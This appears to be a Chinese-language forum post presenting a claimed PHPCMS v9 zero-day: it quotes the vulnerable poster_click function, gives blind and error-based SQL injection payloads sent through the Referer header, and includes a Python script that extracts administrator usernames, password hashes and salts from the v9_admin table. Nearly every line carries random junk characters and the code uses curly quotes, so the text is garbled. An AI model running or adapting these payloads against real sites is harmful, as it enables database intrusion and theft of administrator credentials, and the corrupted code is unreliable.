有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:& t7 g/ i( l( J) ^0 l
. _+ A9 k2 S( _; y! F: b+ }问题函数\phpcms\modules\poster\index.php2 a: b1 b8 s O$ L8 D! U
9 k7 f: q9 P* G6 K; apublic function poster_click() {
. R, P( Y9 y7 ]! M5 b h, x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;$ N2 F7 X4 R& Y
$r = $this->db->get_one(array('id'=>$id));% i! R* Q- }( B! `& W# r; I/ b
if (!is_array($r) && empty($r)) return false;' P4 R( D/ T" R4 L% }; N
$ip_area = pc_base::load_sys_class('ip_area');. O2 I0 `6 J$ f7 J
$ip = ip();8 h2 m7 h6 T6 p8 A7 [
$area = $ip_area->get($ip);1 E6 |( f* i9 f' I4 w6 f" J' j" \
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# a# U/ F+ E4 Jif($id) {
1 P) {/ M1 j# e$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();. ]& \2 X( E6 f% y3 {; Q* j
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
+ n# N/ @" f" a( z8 s5 Y4 g% O}+ e" \2 R- o& Q& I2 `
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
8 L% y+ A1 d i# F# a) W2 c' J- z$setting = string2array($r['setting']);
7 ~( L- p0 A ]8 T* yif (count($setting)==1) {
/ H# v; F2 L3 I9 }/ ]8 Z$url = $setting['1']['linkurl'];& S8 r a. A, m% U
} else {
1 K9 M" a T; W/ O; _: k1 o1 D1 g$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- E2 b% }. h5 B}
4 d/ y1 I. G& b1 w3 [* eheader('Location: '.$url);
2 O; E( J) ]1 c}# \6 `( M2 p% N6 d% u& q- i
: a/ a! @1 j0 o0 E1 d7 X . b4 E6 \* f, o% l% Y) H& i
% S/ ?% S; Q$ `) _ ~; r利用方式:
. S) f" n. Z5 o9 i# _, Z4 p4 x7 `0 o4 ^% N! g: |8 P
1、可以采用盲注入的手法:
# v( B6 v9 _4 d9 I7 W' U- v4 d, X. Y1 h, x
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
1 t* u! u: h6 u, f( v# q2 j' h+ G ~8 I+ \' z- J* B( y' f1 r* }
通过返回页面,正常与否一个个猜解密码字段。/ \& N+ R! S$ x$ b
1 U. T, }- W, d2、代码是花开写的,随手附上了:- E {6 \3 J0 N5 `) S) H; ]
* @+ G' o2 [4 Q; L1 Q: i: [# g
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( G& K' q9 s+ ]9 w% r- B2 P7 A
& ^- F6 Y% e8 `+ R) k此方法是爆错注入手法,原理自查。5 U' [% r8 Z6 X
- y, g. z5 o- T! T
6 T* m. N2 E1 z0 I# V
" \4 s" Z2 E: c! M
利用程序:* T7 I& S) r2 R6 C
' b! L, \- X. ?" ^0 ]( |# i. t# m
#!/usr/bin/env python
) S5 J. p( Q _2 j' |+ |+ oimport httplib,sys,re" x% `5 ^5 P- S2 U; j. _$ H
0 s7 t7 E6 k& ?: z1 ]5 G3 r
def attack():5 @* c! {- t W0 I" @& t
print “Code by Pax.Mac Team conqu3r!”* ^/ a* B2 w' c% o3 l( W" }: w
print “Welcome to our zone!!!”) L$ y! K! w! c2 v3 G5 q
url=sys.argv[1], B1 y. _3 a5 q6 h% m
paths=sys.argv[2]4 V" p$ i3 a! v2 p) X( T- D/ u
conn = httplib.HTTPConnection(url)
1 h! Z* a) g6 ` Ii_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,, o; Q4 D5 ^4 h' w; H! T, T7 E+ J9 Q1 N
“Accept”: “text/plain”,
5 f$ b! Q1 A, ^5 n1 ^“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}6 b g& H5 m) a
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers). B& U* ?# L( W8 O+ T
r1 = conn.getresponse()
8 F! W' ^, O- j' tdatas=r1.read()4 K: f6 h6 E+ l
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
% U% r2 t+ o5 V) h. O9 C( ^print datas[0]: |3 ^2 x; a# I8 ^6 p
conn.close()
% z, {4 Y* ^5 M& U5 n wif __name__==”__main__”:$ f+ L/ w4 x4 A/ T2 u% y) a
if len(sys.argv)<3:
# @/ i+ n* h4 r' A" oprint “Code by Pax.Mac Team conqu3r”- j. a: F" t" ~4 Z% ?' e+ Z
print “Usgae:”1 v- J+ K8 ] y+ X5 Q
print “ phpcmsattack.py www.paxmac.org /”
+ \3 _/ V% x# r" @0 x. Rprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
$ O- s. Z6 s( p0 B: rsys.exit(1)5 ^6 |- e7 ^9 @3 K
attack()
0 |0 g) v& P/ p6 ^, f1 K# v, N4 z6 {( m. w1 L
|